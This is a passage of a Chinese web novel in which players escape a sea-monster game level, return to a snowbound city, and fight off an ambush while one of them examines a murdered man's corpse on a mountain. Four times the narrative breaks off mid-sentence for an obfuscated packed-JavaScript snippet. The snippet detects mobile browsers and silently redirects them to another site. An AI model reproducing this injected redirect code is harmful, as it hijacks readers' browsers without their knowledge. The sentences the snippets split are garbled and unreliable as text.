他低下头,朝着初与序冰冷苍白的唇瓣,就要将自己的气息渡过去,试图用最原始的方法,为初与序争取一线生机。 然而,就在两人嘴唇即将触碰到时,初与序忽然抬起了微微颤抖的手,轻轻地捧住了他的脸颊。 接着她抬起大拇指,轻柔地按在了他嘴唇中间,形成了阻碍,阻止了他进一步的动作。 冬逢初猛地停住,看向怀中人。 初与序不知何时微微睁开左眼,那双眼眸此刻涣散,但带着清晰的拒绝。随后,她张了张嘴,用口型对冬逢初道:“剑。” 本能地服从,冬逢初立刻将手中的长剑递了过去。 长剑入手,初与序虚弱的身体似乎注入了一丝力量。之前D19说过,这把剑和初与序的短刀是共生之刃,彼此都认可对方的主人。 在初与序手里,长剑发出一声清越的嗡鸣,剑身那原本几乎熄灭的冰蓝光芒竟再次亮起了一丝。初与序睁开双眼,用尽刚刚恢复的些许力气,双手握住长剑,在手中猛地横向一挥! 一道冰冷的剑气以她和冬逢初为中心,猛然荡开!长剑受周围海水温度影响,立刻在前方冻结出一片细小的冰晶,将两人保护起来。 那些围拢过来的美人鱼被这突如其来的剑气逼得纷纷后退,发出惊惧的嘶鸣,它们眼中充满了不甘,但一时间竟不敢再轻易上前。 “走!”初与序用眼神示意冬逢初,同时将长剑递还给他。 冬逢初再次握住她冰冷的手,全力向着上方那一点微弱的光亮游去。 就在它们即将冲出美人鱼包围圈时,一条被激怒的美人鱼猛地甩动强有力的鱼尾,上面尖锐的骨刺重重划过。 冬逢初猝不及防,苍白的脚踝处立刻被划开一道深可见骨的口子!鲜红的血液立刻涌出,在冰冷的海水中氤氲开一团刺目的红雾。 剧痛传来,冬逢初动作僵了一下。他咬紧牙关,无视剧痛,继续向上游去。 初与序率先冲破海面,冰冷空气混合着雪花融化的水,立刻涌入她灼痛的肺部,带来一阵剧烈的咳嗽。她眼前一片发黑,耳朵里除了嗡鸣什么也听不见。 她伸出手,扒住赶来救人的救生艇边沿,另一只手仍然紧紧拉着冬逢初。 “初与序!你怎么上来的?” “快!拉她上来!” 艇上的齐无尽和向枝冥同时探身,将她拽上了救生艇。初与序脸色苍白,坐在救生艇底部,捂着嘴剧烈咳嗽,视线许久无法聚焦。 紧接着,冬逢初也冒出海面,他的嘴唇有些发紫,同样伸手抓住艇边,自己爬上来后便无力坐下,第一时间却是看向旁边的初与序,确认她还活着。直到这时,他才侧过头咳嗽干呕,吐出呛入的海水,呼吸急促困难。 救生艇上,惊魂未定的NPC们看着这两人刚从鬼门关爬出来,浑身冰凉的人,脸上写满了恐惧和后怕。 齐无尽和向枝冥立刻脱下自己还算干燥的外套,迅速盖在快失温的两人身上。 向枝冥从面板里翻出急救包,熟练地开始用绷带给冬逢初加压包扎脚踝上的伤口,试图止血。 远处,那冰蓝色的光之路渐渐消散。艾米丽的身影彻底融入了格格莉娅下方那澎湃的海水之中,再无踪迹。 而格格莉娅的冰蓝色眼睛转向了这艘救生艇,但她依旧没有任何动作,也没有离开,只是静静地注视着。 就在这时,初与序爬起身,脚步虚浮,就要再次走向救生艇边缘,似乎还想跳进海里去! “你干什么?!”齐无尽眼疾手快,立刻拉住她手腕。 初与序被他拉得一个趔趄,茫然地转过头,苍白的脸上罕见地带着一种焦躁。她张了张嘴:“找刀。” 找个锤子的刀。 另外三人闻言,心中同时一沉,对视一眼。果然,精神值暴跌的影响出现了,初与序的认知开始出现偏差。在目前这种情况下,跳海找一把短刀,无异于自杀。 “干什么玩笑?”齐无尽冷冷道,“你的精神值出现问题了,快回来。” “我没事。”初与序皱着眉。 就在这僵持之际,一只由流动的海水聚成的手出现在救生艇旁边,停在初与序面前。 那只手掌缓缓摊开,掌心之中,静静躺着的,正是初与序那把冰蓝短刀。 初与序所有的动作立刻僵住,她抬头,顺着手臂向上望去。 只见格格莉娅不知何时已经微微俯下了身躯,一瞬不瞬地注视着她。 祂替她找回了失落的刀。 初与序低下头,缓缓从祂的掌心里拿起自己的短刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979954|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冰冷的触感让她微微一颤。 “……Thank you.” 格格莉娅巨大的身躯并非立刻沉入深海,祂反而微微弯下了腰,那动作轻柔得不可思议,像是怕惊扰了什么。祂的目光一直落在初与序身上,如同看见万千众生中一个独特的灵魂。但这惊天动地的几十秒,却足以让渺小如蜉蝣的众生将这几十秒铭记千千万万秒。 空灵悠远的声音再次直接在上空响起: “I have sent on child of sorrow home... and yet,I seem to have found another,so alike in her solitude.The deep sings for you as well,little one.Your spirit bears the same mark of the abyss... the same longing for a warmth the sun cannot give.” (我刚送走一个悲伤的孩子归乡…然而,我似乎又找到了另一个,如此相似的孤独。深海也在为你歌唱,小家伙。你的灵魂同样带着深渊的印记…同样渴望阳光无法给予的温暖。) “Will you note with me?Leave the pain and noise behind?The embrace of the depths is silent and enternal.You would be... home.” (你不愿随我同去吗?将痛苦与喧嚣抛在身后?深海的拥抱寂静永恒。你将…归家。) 另外三个人立刻绷紧了神经,冬逢初不顾脚踝的伤口试图站起来,向枝冥也做好了拼死阻拦的准备。他们明白初与序此刻精神不稳定,但如果她点头答应,他们三个人恐怕都拦不住她一个。 初与序静静地站在那里,雪花落在她肩头,瞳孔依旧有些涣散,但整个人却很安静。她聆听着邀请,几秒的沉默像是有一个世纪那么长。 然后,她忽然后退了一步。 一步,退到了冬逢初的身边,退到了齐无尽和向枝冥的身前。她用清晰地回答了格格莉娅: “I hear your call.(我听到了你的呼唤。)”她顿了顿,“But you are mistaken.I am not alone.My home is not a place in the depths.(但你弄错了。我并非孤身一人。我的家不在深渊某处。)” “My home is here.With the friends who jumped into a storm for me.With the lover who follow me into the abyss without hesitation.” (我的家就在这里,与为我踏入风暴的朋友一起,与毫不犹豫随我跳入深渊的爱人一起。) “I cannot go with you.I have too much to hold onto here.(我不能随你而去,我在这里有太多无法放下的东西。)” 格格莉娅静静地注视了她片刻,那眼中流过一丝极其复杂的情绪,像是遗憾,又像是更深的理解。 最终,那空灵的声音轻轻响起: “As you wish.” (如你所愿。) 说完,那庞大的身影不再停留,缓缓沉入深海,连同所有的异象彻底消失不见。只剩下一片逐渐平息的海洋。 187.录像机的变化 随着格格莉娅的彻底离去,救生艇上,四人的衣服全部变回了他们刚进入副本时穿的日常衣物。 初与序回头望去,只见原本庞大华丽的“蔚蓝海神号”游轮已经消失在海面上。只剩下一些漂浮的碎片,油污,和一个在缓慢旋转的巨大漩涡。 天空依旧阴沉,风雨也未完全停歇。游轮沉没了,谜题解开了,凶手“归乡”了,海神离去了,他们也活了下来。 【恭喜各位玩家通关副本《蔚蓝海神号》。】 【蔚蓝的巨兽沉入永恒的寂静,奢华的盛宴终以血泪收场。】 【傲慢者的珠宝蒙尘,贪婪者的债务永锢,怨恨者的刀刃锈蚀……唯有深海的哀容,接纳了最孤独的归乡。迷失的幼崽艾米丽,已循着古老歌谣,投入无光之母格格莉娅永恒的怀抱。从此,海面上的每一缕风,都萦绕着她自由的呼吸;每一颗珍珠,都倒映着她安宁的睡颜。】 【而关于“家”的答案,从未唯一。它或许是血脉的牵绊,或许是信仰的归处,亦或许是…与所爱之人并肩之地,哪怕风雨飘摇,舟楫狭小。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【愿迷途者得偿所愿,愿幸存者珍视所拥。】 系统的余音尚未完全消散,救生艇上,安娜贝尔、玛蒂尔达以及其他几位幸存的NPC身影开始逐渐变得透明模糊,像水中泡沫般。 安娜贝尔看向四人,嘴唇微动,似乎想说点什么,但最终只是留下一个感激又复杂的眼神,便随着其他人一同彻底消散,回归了他们的副本世界。 NPC消失后,小小的救生艇仿佛失去了最后的动力,静静漂浮在依旧汹涌的海面上。 艇底中央,一条由光滑的鹅卵石铺成的小路凭空出现,穿透了救生艇的底板,径直向前方蔓延,路的尽头消失在一片朦胧的白光之中。 四人对视一眼,相继踏上了这条小路。 脚步落在十字路上,像是踩在真实的陆地上,完全无视了下方的深海。他们沿着小路向前走去,几步之后,海浪声渐渐远去,脚下变成了细腻温暖的沙子。 他们走出白光,发现自己站在一片空旷无人的沙滩上,夕阳的余晖将天空染成橙红色,温暖宁静,与刚才的狂暴海洋判若两个世界。 而在沙滩不远处,静静地停靠着D019次列车,车门敞开。 他们刚踏入车厢,就发现驾驶座上的不是熟悉的J23,而是C13。少年正紧张地搓着手,一见到他们立刻跳起来伸手:“盒子!快还我!J23已经快把执行官宿舍拆掉找了!” 向枝冥笑嘻嘻地把压缩空间盒抛过去:“急什么,又没给你弄丢。” C13手忙脚乱地接住盒子,长舒一口气,小声嘀咕:“幸好没被J23发现,否则我要被她肘击了……” 冬逢初挑眉:“你不是处理区的吗?怎么来开车了?” “J23被临时调去修理坏掉的D017列车了,我来替班,就这一次。”C13垮着脸。 向枝冥突然凑近,盯着C13稚嫩的脸瞧了半天:“等等,你多大?” C13莫名其妙:“十三啊。” “你个未成年开什么车?!”向枝冥瞪大眼睛,“你有驾驶证吗?系统雇佣童工啊?” C13和另外三人:“……” C13稳稳地开着列车,将四人送回了永冬之城。他们刚踏出车厢,湿透的衣服立刻被寒风冻得硬邦邦的。 冬逢初合拢双手呵出白气,鼻尖冻得通红:“从上上周开始,永冬之城怎么就冷得这么反常?” “因为十八年一次的‘雪纪周’要来了。”向枝冥搓着胳膊蹦跶两下,“从明后天开始,连续三周下暴雪,雪堆得能埋掉半座城。那三周副本全关闭,咱们只能窝在家里啃存粮。”他指了指远处尚未完全融化的雪堆,“看,十八年前的雪还没全部化完呢,新的就要来了,你们多囤点不能自动恢复数量的必用品,暴风雪天出来可不好买。” 初与序默默把冻僵的手塞进大衣口袋里。 四人正要离开,一群编号A开头的执行官突然从车站口围拢过来。为首的执行官冷声道:“上次搜查,你们三个不在D栋,我们需要搜身检查。” 向枝冥翻了个白眼,干脆利落地把口袋全翻出来:“搜呗,要不我把鞋底也抠开给你们看看?” 齐无尽默默后退一步,和这三人拉开距离,明显不像融入他们藏康安尸体的案子里,而冬逢初和初与序面无表情地把所有口袋翻了出来。 执行官盯着他们湿漉漉的衣物,显然藏不住任何东西,更别提尸块了,只好咬牙道:“我们会去《蔚蓝海神号》副本彻底搜查,一旦发现你们在副本里藏了什么东西,等着瞧!” 等几位执行官走远,向枝冥转过头,笑嘻嘻地用口型对同伴比划:“我就不信他们会把海水抽干找。” 齐无尽抱臂站在一边,红发在寒风中格外醒目。他从面板里取出一顶黑色帽子,戴在头上遮住了红发,随后瞥了三人一眼:“随便你们干什么,别扯上我就行。” 说完,他转身就走向办事区的方向。 初与序将失去能量的短刀送到系统办事处,执行官将短刀放入一个充能舱内,不到半分钟,舱门打开。 “好啦。”那执行官拿出短刀,交到初与序手上,“恢复能量了,以后小心点用。” “多谢。”初与序收起短刀。 她和冬逢初回到1802,冰箱里康安的头此刻在副本大海里,他们可以放心待在这里。 初与序刚换好拖鞋,他们两人口袋里的通行卡同时亮起蓝光,表示随歌等人正在时光之书内召集。 “我进去,你通过耳骨夹看。”初与序取出通行卡,对冬逢初道。 冬逢初点头,伸手点了两下耳骨夹,上面的纹路微微亮起淡蓝色流光后熄灭。 初与序独自进入阁楼,一睁眼,就看见随歌正愁眉苦脸地摆弄他自己的相机,景明垂和江意坐在一边,面无表情。而茶几上放着之前团队赛获得的相机。 “怎么了?”初与序问。 景明垂将团队赛相机递给她:“这里多了一张照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979955|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和一个视频。” 初与序低头看去,屏幕上是随歌用自己相机在病房拍的五人合照,以及上次在忘忧海边录制的“记录未来梦想”的视频。 她皱了皱眉,这两份文件本该只出现在随歌他自己的相机里,此刻却诡异地出现在了团队赛的相机中。 如今,这台相机里共有555张照片和两个视频。 随歌抓了抓头发:“见鬼了?我根本没导过数据!这相机难道成精了?!” 初与序立刻坐到随歌身边,拿过他手中那台日常用的相机快速翻看。里面的照片和视频熟练依旧,雪夜烧烤的欢笑,和海边的陆续都安然无恙,没有任何增减。 “知道是什么时候出现的吗?”初与序道。 “不知道。”江意推了推眼镜,“你们从副本《田园牧歌》回来后,我们就没再动过它。” 随歌往后一摊,窝在沙发里:“我就是想擦擦灰,顺手打开看了一眼,结果就发现多了我拍的东西。” 初与序将团队赛得来的相机放回茶几,手掌忽然覆盖上自己脖颈右侧那道逐渐加深的疤痕。她忽然开口:“我怀疑这些照片和视频,与我脖子上的疤是同一时间出现的。” 她将录像机还给随歌,继续道:“疤痕可以缓慢变化,但数据不行,这张照片和视频是在那天突然出现的。” 话音未落,随歌忽然感觉手中一轻。他猛地低头,只见那台录像机正像雪粒般从他指缝间缓缓流走,化作细碎的光点,无声无息地消散在空气中。 “我靠?!”随歌试图抓向那些光点,“老子的相机?!这可是我辛辛苦苦从黑市里淘来的!” 四人包括在永冬之城的冬逢初,同时一愣。初与序听见冬逢初的声音通过耳骨夹传来:“这是什么情况……?” “或许,这台相机是‘总机’。”江意抱臂靠在沙发上,看着茶几上的相机,屏幕的光线刺眼地亮着。 初与序立刻反应过来:“你的意思是,可能存在过554台其他像随歌那样的‘分机’,每台分机里都存有一张照片或一段影像。当某种条件触发后,所有内容都会汇聚到这台总机里,而原来的分机会随之消失,回归主体。” 随歌哀嚎道:“所以我的相机就这么没了?!那里面还有一些我拍的景色照片呢!” “……”景明垂无奈叹气,“重点是这个吗?”她指向团队相机,“它多出来的内容,恰好是你原来相机里最核心的两份文件:团队合照和团队录像,这两份文件上都有我们五人的身影,而总机里的554张照片也有你们四人。” “其次,总机里,554张照片加一个视频,这意味着至少有554个‘过去’或‘平行现实’被收束到这一台相机里,那么这台总机就是在整合所有世界的‘证据’。” 阁楼内陷入毛骨悚然的寂静。 随歌突然跳起来:“那齐无尽手里那台呢?他的相机是总机还是分机?” “都不是。”景明垂摇了摇头,“他的相机里一定藏着源头。给齐无尽相机的那个人,不出意外是这一切的策划者。” 188.雪纪周首日 随歌还在为相机的消失唉声叹气,初与序率先打破沉默,道:“康安的残肢已经处理掉了,扔进了副本深海。” “A12不会罢休,他们找不到尸体,会更疯狂地针对我们。”江意道。 接着,他打开面板,调出通讯界面,上面明晃晃是A10偷偷发来的消息:【明天D区要被偷袭。】 景明垂扫了一眼面板,淡淡道:“现在唯一的办法是彻底除掉A12。” “玩家很难扳倒执行官,”随歌抓了抓黄毛,烦恼道,“而且那家伙权限高,还能删监控,我们连证据都留不下。” “哦还有,C13之前说过,高阶执行官只有管理员亲自下场才能处理。但管理员从不轻易现身,尤其是明天持续一整周的‘雪纪周’。” 初与序看向江意,道:“意哥,你知道怎么才能逼管理员出来么?” 江意点了点头,道:“执行官的系统规则里,只有两种情况会惊动管理员亲自下场:一是执行官体系彻底瘫痪,二是发生足以震动整个永冬之城的重大丑闻,而且所有高阶执行官都无法或不愿处理。” “第一种情况我们肯定无法实现,所以只能考虑第二种。”他抬眼,“屠宰场在别离山杀了康安,A12协助他们。我们可以在别离山重现凶案现场,逼他当场暴露。” “然后呢?然后管理员就会跳出来说‘好的我来评理’?”随歌问道。 江意摇了摇头:“不会。先不说我们能不能还原凶案现场,屠宰场的人肯定守在别离山,防止我们得逞。” “所以我们需要一场无法被掩盖的公开事故,比如高阶执行官被当场揭发勾结玩家杀人,并且证据确凿,事情闹到人尽皆知,人心惶惶,管理员就不得不介入。” “但这也很难,A12是总执行官,已经全力封锁消息,他们那方有一整个屠宰场和一小部分高阶执行官,我们连证据的影子都找不到。”初与序道。 随歌瘫在沙发上哭天喊地:“所以咱们现在就得干等着A12继续搞事?”接着他忽然一骨碌爬起来,“咱们总不能直接冲进A12办公室把他捆起来游街吧?” “不如我去别离山看看?”冬逢初的声音通过耳骨夹传来,“明天是‘雪纪周’,后面连续一周副本关闭,所有玩家都会留在室内。这是最好的时机,我可以趁雪势大时去一趟。” 三人同时看向初与序,初与序伸手按住耳骨夹:“一个人去太危险。” “人多了反而打草惊蛇。”冬逢初道,“我只是去确认康安案的线索是否真的清理干净了。屠宰场要趁着暴雪天进攻D栋,你们照常行动,留守D栋。” 计划可行,四人又商议了些细节,随即起身打算离开。初与序走在最后,面无表情地抬手伸入后衣领,两指并拢,夹住一枚纽扣大小的窃听器。她将窃听器对准阁楼上方的灯泡,观察着。 景明垂回头恰好看见,朝她极轻地挑了下眉。初与序颔首,将窃听器攥入掌心,带回了永冬之城。 1802室内,火腿面包正窝在沙发上啃鸡腿,但冬逢初并没待在沙发上。他独自站在落地窗前,背影瘦削。 初与序将窃听器放在茶几上,就听冬逢初道:“下雪了。” 她手指一顿,随后走到冬逢初身边看向窗外。外面几乎是白茫茫一片,细雪正淅淅沥沥地飘落,小雪覆盖了D栋下方的草丛,这是“雪纪周”的前奏。 初与序侧头看向冬逢初,冬逢初抿着唇,眉头微蹙,脸色似乎比平日苍白了一点,看上去很疲惫。她伸手碰了碰他的手背,冰凉刺骨,放一根冰棍在他手上半天都不会化。 “好冰。”初与序道,“你刚从南极回来?” 冬逢初笑了一下,解释道:“应该只是雪纪周的缘故,之前永冬之城下过两次雪,每次都会这样,进入室内开个暖气就没什么事,雪停会恢复正常体温。” 他将手插进大衣口袋里,转身看向茶几上的窃听器:“你还住景明垂家吗?” 初与序看向窃听器,住景明垂家能很好保证她的安全。但首先窃听器会给景明垂带来无妄之灾,其次长时间收不到动静,屠宰场必定起疑。如今她独自住在1802,日常无非与火腿面包闲聊些无关紧要的内容,即便被监听也无妨。 等她用耳夹将这段话传递给冬逢初后,他点了点头,走向门口:“我先回去了。” 门轻轻合上,初与序坐回沙发,火腿面包立刻递来一块饼干,腮帮子鼓鼓地问:“初与序,冬逢初看上去心情不好哦,他咋了?” 初与序接过饼干,垂下眼。 恍惚间又回到《蔚蓝海神号》冰冷的海水中,意识模糊间,她察觉到冬逢初推开了美人鱼,温热的呼吸贴近。在双唇即将触碰到的时候,她却抬起手,阻止了那个未完成的吻。 初与序最终没有回答,只是轻轻叹了口气。 次日清晨,苍白的雪幕已经吞噬了天地。 积雪已没过膝盖,街道两侧的建筑被裹上厚厚的银装。这场暴雪远比现实中的任何一场雪都要狂暴窒息,雪花密集得像固态的瀑布,砸在露出的皮肤上泛起刺骨的寒意。 系统的广播声在空旷的雪原上空回荡: 【永冬之城系统播报:全体玩家注意,永冬之城正式进入第555轮“雪纪周”。未来三周内,将持续特大暴雪天气,能见度低于5米,室内气温将骤降零下40度以下。即日起,所有副本入口强制关闭,所有执行官外勤任务暂停。建议玩家储备充足物资,非必要不外出!非必要不外出!】 【再次提醒:雪纪周是永冬之城最高风险期。过去554次雪纪周中,平均意外失踪率为3.7%,请务必保持警惕。】 一片死寂中,只有风雪呼啸的声音,整座城市看不见一个人。 然而,D栋的门却“嘎吱”一声被推开。 几个身影穿着厚外套,深一脚浅一脚地踩进雪堆里。正是“拯救世界顺便偷草莓牛奶”的五人,以及后面的回北,赵禾,以及向枝冥和正被他拽着满脸不情愿的u谷(后者原本打算裹着毯子打算在家看剧。) 狂风卷着雪片砸在众人身上,C13和D19站在一旁,作为机械体,他们感受不到寒冷。D19看向九人:“D区监控和监听已经屏蔽,别离山的被A12屏蔽了。” u谷好不容易从向枝冥的钳制中挣脱出来,冻得发抖,卷发上落满了雪花,中英文混杂着大骂:“What the fuck are you doing(你们他妈的在干什么)?大清早破门而入把我从毯子里拖出来!This is murder!(这是谋杀!)” “今天屠宰场肯定会趁雪偷袭! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984887|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们得守住D区前门后门和几个小门!”向枝冥一把将他拽回来,声音在风雪中有些模糊。 u谷崩溃:“那为什么不叫安楚?!他不是我们队伍的吗?” 一旁的赵禾将自己包裹成一个球,她冷飕飕道:“就向枝冥和安楚的关系,一见面能吵到雪纪周结束,肯定不让他叫。” 回北叹了口气,转身往D栋走:“我再去把安楚拽起来。” 她很快带着安楚回来,安楚只穿着一件单薄的衬衫,外面随意披了件外套,长发很快沾上雪花。他打了个哈欠,眼下带着淡淡的青黑,显然是像往常一样通宵后打算睡觉,结果被回北拉起来。 “这孩子真的不冷吗?”随歌忍不住偷偷瞅安楚,“还是说留长发抗冻?那哪天我也留一个。” 向枝冥满脸嫌弃地向后扫了一眼:“他以前就这样,装啥忧郁青年呢?冻成冰棍就老实了。” “那也比你天天二傻子的样子强。”安楚慢条斯理道。 向枝冥低声骂了一句。 十人与两名执行官围成一圈,风雪几乎将他们的声音吞没。 “你们是怎么知道屠宰场他们一定会在今天来偷袭的?”回北站到赵禾身边,好奇问道,“有卧底?” “算有,是A10和我们说的。“江意回答,“从他们陷害初与序开始,已经过去快一周。其他执行官不是傻子,时间拖得越久,康安死亡的真相越可能被查出。” 其实不用A10通报,几个人也能猜到屠宰场他们会挑选今天来偷袭。今天是雪纪周第一天,副本关闭,执行官巡逻减少,也是暴风雪最大的一天,通讯和监控会被风雪干扰,再加上A12的帮助,这是最适合大规模偷袭,最不容易被系统察觉。并且副本全部关闭,他们也无法逃进副本躲避追杀。 江意继续道:“屠宰场是永冬之城人数最多的团队,明面上就有一万人。今天他们至少会派一百多人,攻破D栋,并确保我们一个都逃不走。” C13点头:“你们D区其他住户虽然都是能打的高阶玩家,但无法确认他们立场。说白了,现在能完全信任的,只有我们几个。” 向枝冥偷偷摸摸掏出三枚铜钱卜了几卦,结果连掷三次都是“凶”,他脸色垮下来,又偷偷把铜钱塞进怀里,没给这几个人看。 安楚轻笑一声:“任重道远呐。” 随后,江意取出面板里的D区地图展开,根据每个人各自的特长,还有对屠宰场进攻方式的判断,他已经早早将每个人安排到关键位置。 其中,初与序、景明垂和随歌三人留守正门,初与序近战拦截,景明垂控场,而随歌负责侦察。而冬逢初则负责去别离山。 众人迅速散开,各自就位。 初与序和景明垂一左一右躲在D区大门两侧,随歌跃上大树树枝上,团吧团吧雪块遮住自己,举起望远镜望向系统处理区大厦的方向。 “果然有鬼。”他压低声音,“A12的几个手下在那边转悠,一直往咱们D区这儿瞟,好像是在等信号。” 冬逢初越过风雪,走到初与序身边。两人对视一眼,初与序轻声道:“小心点。” 冬逢初点了点头,转身走向别离山的方向,身影很快被漫天飞雪吞没。 初与序收回目光,与景明垂、随歌极快地对视一眼,微微颔首。 189.遇袭 不出半小时,风雪中,黑压压的人群涌向D区,足足百余人踏着雪赶来。 景明垂拿过随歌的望远镜望去,为首的是个长发微卷的女生,眉眼凌厉,唇角带着冷笑。跟在他后面的是一个戴黑框眼镜的男生,气质悠闲散漫。 看清对面两人面容时,景明垂微微一愣,把望远镜塞给初与序:“看领头的人。” 初与序接过望远镜,镜头对准那个身影。 老熟人啊。 付遇和林志,当初《狼人杀》副本中遇到的三位老玩家的其中两个,但此刻他们的气质明显和当时不一样。 随歌察觉到两人神色不对,问道:“咋了?认识?” 初与序放下望远镜,解释道:“领头的两个是我们在新手副本里的队友。”说着,她打开面板,将那两人的姓名发给江意,方便江意查他们的档案。 “我操?”随歌倒吸一口凉气,“屠宰场的人是故意进你们的新手副本,观察新人玩家的?”他又猛地转头看向黑压压的人群,“等等……付遇是二把手?我记得二把手是个男的啊。” 景明垂将望远镜还给他:“她应该不是,关应好才是真正的屠宰场二把手。” 风雪在他们交谈的时间内已经越发狂暴,能见度再次降低。景明垂从一旁覆盖白雪的石台下掰下三块冰晶,低声道:“含住,别呼气。” 她自己率先将冰块含入口中,随歌和初与序立刻照做。 三人俯身藏进草丛,冰冷的寒意从舌尖蔓延至全身,但呼出的白气果然消失。 屠宰场的队伍已经逼近D区正门。付遇抬手打出几个手势,百余人的队伍立刻分流向后门、侧门、检修通道以及各个可以进入D区的小门。 “A12已经屏蔽了整个D区。”付遇的声音清晰,“雪纪周结束前,必须把D栋围死!尤其是那几个新人!” 正门留下三十余人,林志警惕地环顾四周:“他们会不会已经准备好了,偷袭我们?” “我们已经把消息封死了,他们怎么可能提前知道?”另一个瘦高男人嗤笑,“而且这种鬼天气,呼吸都冒白气。你看这附近干干净净,连个鬼影都没有,他们要是在这,一定能看到白气,放心!” 几名核心成员率先上前探路,鞋底踩在厚厚的积雪上,只发出细微的声音。 就在他们踏入草丛中央的下一秒,初与序和随歌立刻从雪堆中跃起!短刀和竹扇同时挥向最近两人的后颈! 同时,景明垂的琴弦立刻缠上另外三人的脚踝,猛地一扯,只听“砰”一声,五人立刻倒地,痛得直叫。 “敌袭——!” “我操!不是说没有埋伏吗!!!” 惨叫声被风雪吞没,同时,D区其他方向也传来了打斗声。 别离山。 风雪刮过冬逢初的脸颊,他背着随歌从黑市搞来的探测工具箱,一步步踏着深及小腿的积雪向上攀登,黑色大衣早已覆满白霜,每呼出一口气,白雾便短暂模糊视线,又在下一刻被狂风撕碎。 手指冻得僵硬发麻,他从怀中取出江意给的别离山地图,上面标注着康安死亡地点的推测范围,是雪山顶峰东南部,一处背风的岩壁附近。 冬逢初不知道江意究竟用了什么手段锁定这里的,一件几乎不可能的事情被他做到了。 越往上走,空气越发稀薄,呼吸逐渐困难。积雪中偶尔会露出惨白的骨头和冻结的肢体,皆是屠宰场下手的,尸体就被随意丢弃在这里。 别离山的风声里,像是已有无数亡魂在低语。 风雪差点把冬逢初吹飞,他艰难地侧身靠近一处狭窄的岩壁,这里勉强能避开狂风,积雪也浅了许多。他靠在冰冷的石壁上,深吸了几口稀薄刺骨的空气,试图将冻僵的双腿恢复一点知觉。 就在这时,面板忽然浮现在他面前,显示江意发给他一份加密文件。 冬逢初一愣,反应过来,这是江意掐着时间传输给他的文件。如果再早片刻,A12会察觉,但此刻他已经深入别离山,信号被风雪和地势干扰,即便A12现在发现,也无力阻止。 他点开江意的聊天框,一份备注着【屠宰场行动模式分析康安案推理】的PPT文件弹了出来。 文件第一条写着屠宰场常用的武器型号,列举了高频出现的几种短刀、淬毒弩箭,以及磨损特征,与康安头部脖颈的伤口吻合度极高。 第二条是屠宰场核心成员的杀人习惯,比如关应好偏好从背后偷袭,林志习惯用左手持刀,而付遇和另一个特别能打的壮汉擅长制造“意外”假象。 第三条是康安此刻全尸的状态模拟,江意根据风雪流速和体温流失速度,反推算出死亡时间,与A12删除监控的时间段重合。 第四条是模拟出的现场痕迹,现场会有雪地拖拽痕迹、血迹喷溅半径等等,甚至包括凶手离开时踩碎的冰晶样子都配有建模图。 事到如今,冬逢初只能感叹一声“意哥牛逼”。 他快速阅读文件,在看到「关应好」和「林志」两个熟悉的名字时愣住,又了然,继续阅读。 很快将所有重点记在脑海中,随后删除文件,给江意发去简短的回复: 【收到。】 他站起身,从岩壁站起身,重新踏入风雪。 不知过了多久,冬逢初终于登顶,这里视野开阔,却一片死寂。所有声音都被积雪覆盖,山顶的温度更低,极度的寒冷让他喘不过气,勉强呼出的白雾转眼间边成冰晶。 他的每一步都小心翼翼,生怕破坏掉任何痕迹。 接着,冬逢初停住脚步,立于雪山之巅。随后从背后取下工具箱打开,拿出环境扫描仪,对山顶平台开始扫描。 仪器显示东南侧岩壁后方有热残留信号,极可能是尸体腐烂产生的热能。冬逢初随着信号过去,果然在岩壁背风处发现了被半埋于积雪中的康安的尸身。 尸体呈蜷缩状,没有头颅,缺少一只右手,断口覆盖着厚厚的冰霜,皮肤呈现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984888|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青紫色。 冬逢初单膝跪地,从工具箱里翻出隔热手套,轻轻拂去尸体颈部的积雪。随后用镊子将断口处的冰层融化,露出下方组织。 伤口边缘呈现不规则撕裂,还有明显的拖拽痕迹。 